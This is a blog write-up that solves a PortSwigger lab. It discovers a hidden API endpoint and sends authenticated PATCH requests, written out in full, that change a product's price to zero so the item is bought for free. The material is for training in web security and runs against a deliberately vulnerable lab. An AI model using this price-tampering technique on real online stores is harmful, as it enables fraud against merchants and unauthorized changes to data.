Pasindu's Blog

Finding and exploiting an unused API endpoint

1 min read

PortSwigger

Lab Description

To solve the lab, exploit a hidden API endpoint to buy a Lightweight “l33t” Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

Step 1: Discover the API Endpoint

  1. In Burp’s browser, access the lab
  2. Click on a product
  3. In Burp Proxy, find the API request:
GET /api/products/1/price HTTP/1.1
  1. Send it to Repeater

Step 2: Discover Supported Methods

Change method to OPTIONS:

OPTIONS /api/products/1/price HTTP/1.1

Response:

Allow: GET, PATCH

  • The endpoint supports GET and PATCH methods.

Step 3: Test PATCH (Unauthenticated)

Change method to PATCH:

PATCH /api/products/1/price HTTP/1.1

Response: 401 Unauthorized

Authentication is required.

Step 4: Log In

  1. Log in as wiener:peter
  2. Navigate to the leather jacket product page
  3. Capture the GET /api/products/1/price request
  4. Send it to Repeater

Step 5: Send PATCH Request

Change method to PATCH:

PATCH /api/products/1/price HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR_SESSION

Response: Invalid Content-Type (expected application/json).

Step 6: Add Content-Type Header

PATCH /api/products/1/price HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR_SESSION
Content-Type: application/json

{}

Response: Missing price parameter error.

Step 7: Set Price to 0

PATCH /api/products/1/price HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR_SESSION
Content-Type: application/json

{"price": 0}

Response: 200 OK

Step 8: Buy the Jacket

  1. In Burp’s browser, reload the product page
  2. The price is now $0.00
  3. Add the jacket to your basket
  4. Click Place order

Step 9: Lab Solved

Graph View